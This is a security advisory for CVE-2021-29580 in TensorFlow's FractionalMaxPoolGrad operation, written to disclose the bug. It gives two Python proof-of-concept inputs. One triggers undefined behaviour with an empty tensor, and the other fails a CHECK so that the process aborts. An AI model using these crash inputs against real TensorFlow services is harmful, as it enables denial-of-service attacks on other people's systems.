CVE-2021-29580: Undefined behavior and `CHECK`-fail in `FractionalMaxPoolGrad`

(updated )

The implementation of tf.raw_ops.FractionalMaxPoolGrad triggers an undefined behavior if one of the input tensors is empty:

import tensorflow as tf

orig_input = tf.constant([2, 3], shape=[1, 1, 1, 2], dtype=tf.int64)
orig_output = tf.constant([], dtype=tf.int64)
out_backprop = tf.zeros([2, 3, 6, 6], dtype=tf.int64)
row_pooling_sequence = tf.constant([0], shape=[1], dtype=tf.int64)
col_pooling_sequence = tf.constant([0], shape=[1], dtype=tf.int64)

tf.raw_ops.FractionalMaxPoolGrad(
orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop,
row_pooling_sequence=row_pooling_sequence,
col_pooling_sequence=col_pooling_sequence, overlapping=False)

The code is also vulnerable to a denial of service attack as a CHECK condition becomes false and aborts the process

import tensorflow as tf

orig_input = tf.constant([1], shape=[1], dtype=tf.int64)
orig_output = tf.constant([1], shape=[1], dtype=tf.int64)
out_backprop = tf.constant([1, 1], shape=[2, 1, 1, 1], dtype=tf.int64)
row_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)
col_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)

tf.raw_ops.FractionalMaxPoolGrad(
orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop,
row_pooling_sequence=row_pooling_sequence,
col_pooling_sequence=col_pooling_sequence, overlapping=False)
